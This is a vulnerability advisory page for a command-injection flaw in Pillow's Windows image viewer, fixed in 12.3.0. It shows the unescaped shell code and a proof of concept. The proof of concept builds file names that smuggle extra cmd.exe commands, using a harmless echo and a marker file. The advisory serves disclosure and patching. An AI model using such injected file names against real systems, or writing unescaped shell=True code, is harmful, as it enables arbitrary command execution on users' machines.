GHSA-4X4J-2G7C-83W6

Vulnerability from github – Published: 2026-07-20 21:14 – Updated: 2026-07-20 21:14
VLAI
Summary
Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Details

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:14:14Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "MODERATE"
  },
  "details": "### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path \u2014 most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` \u2014 allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133\u2013150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        return (\n            f\u0027start \"Pillow\" /WAIT \"{file}\" \u0027    # \u2190 f-string, no escaping\n            \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n            f\u0027\u0026\u0026 del /f \"{file}\"\u0027                # \u2190 same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -\u003e int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # \u2190 shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # \u2190 Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS \u2014 SAFE (line 164\u2013168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n        return command                           # \u2190 shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | \u2705 Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | \u2705 Yes |\n| Windows  | `WindowsViewer`| **No** (line 134\u2013137) | **Yes** (line 148) | \u274c No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A \u2014 Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r\u0027C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\u0027\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# \u250c\u2500 start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   \u2192 fails (file not found)\n# \u251c\u2500 \u0026 echo PWNED                           \u2192 INJECTED COMMAND\n# \u2514\u2500 \u0026 echo \"\"  \u0026\u0026 ping ...                \u2192 continues\n```\n\n**Part B \u2014 Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f\u0027echo REAL_INJECTED \u003e \"{marker}\"\u0027\nevil_path = os.path.join(poc_dir, f\u0027poc\" \u0026 {payload} \u0026 echo \"\u0027)\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES \u2014 marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# \u2192 CONFIRMED: arbitrary command injection via get_command()\n```\n\n---",
  "id": "GHSA-4x4j-2g7c-83w6",
  "modified": "2026-07-20T21:14:14Z",
  "published": "2026-07-20T21:14:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…